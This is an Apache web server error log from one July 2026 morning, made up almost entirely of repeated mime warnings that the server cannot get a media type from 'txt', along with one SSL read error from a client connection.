[Fri Jul 17 10:04:47.414199 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414219 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414239 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414269 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414293 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414313 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414347 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414383 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414407 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414427 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414448 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414468 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414487 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414507 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414526 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414548 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414569 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414588 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414607 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414628 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414688 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414708 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414727 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414746 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414775 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414838 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414875 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414927 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414966 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.414985 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.415004 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.415024 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.415053 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.415073 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.415103 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416696 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416743 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416765 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416785 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416806 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416836 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416856 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416876 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416896 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416915 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416936 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416957 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416976 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.416996 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417016 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417035 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417065 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417108 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417129 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417149 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.417169 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424597 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424741 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424796 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424832 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424858 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424884 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.424920 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426167 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426220 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426245 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426274 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426297 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426322 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426343 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426367 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426402 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426447 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426478 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426535 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426557 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426593 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426614 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426680 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426727 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426757 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426779 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426822 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426867 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426906 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426932 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426956 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.426977 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427002 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427026 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427079 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427108 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427141 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427175 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427215 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427241 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427264 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427286 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427310 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427332 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427363 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427401 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427426 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427449 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427470 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427490 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427512 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427533 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427557 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427577 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427596 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427619 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427684 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427724 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427766 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427797 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427828 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427862 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.427945 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428015 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428066 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428100 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428125 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428149 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428172 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428197 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428218 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428240 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428261 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428284 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428308 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428340 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428365 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428389 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428413 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428444 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428468 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428491 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428515 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428536 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428559 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428579 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428599 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428621 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428673 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428709 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428735 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428791 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428821 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428844 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428864 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428900 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428940 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428972 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.428994 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429017 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429058 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429105 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429152 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429173 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429215 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429256 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429281 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429314 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429363 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429386 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429418 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429441 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429475 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429519 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429550 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429569 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429588 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429608 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429645 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429679 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429722 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429752 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429785 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.429819 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.477828 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.477906 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.477932 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.477992 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.478025 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.478083 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.478137 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.633046 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:47.789279 2026] [mime:warn] [pid 2065296:tid 2065296] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:48.370003 2026] [mime:warn] [pid 2063436:tid 2063436] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:48.515924 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:48.559400 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:49.370491 2026] [ssl:error] [pid 2063895:tid 2063895] (70014)End of file found: [client 66.85.158.91:38780] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:04:49.871926 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:49.915700 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.128799 2026] [mime:warn] [pid 2063441:tid 2063441] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.161439 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.225018 2026] [mime:warn] [pid 2063442:tid 2063442] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.343686 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.412570 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.494159 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.808703 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.949435 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:50.952573 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.050725 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.153362 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264763 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264836 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264866 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264888 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264908 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264928 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264948 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264969 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.264993 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.265013 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.355030 2026] [mime:warn] [pid 2063463:tid 2063463] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.534996 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.536402 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.536477 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.536503 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.536548 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.542399 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.588558 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.588650 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.588687 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619265 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619359 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619403 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619431 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619456 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619479 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619502 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619524 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619548 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619579 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:04:51.619601 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
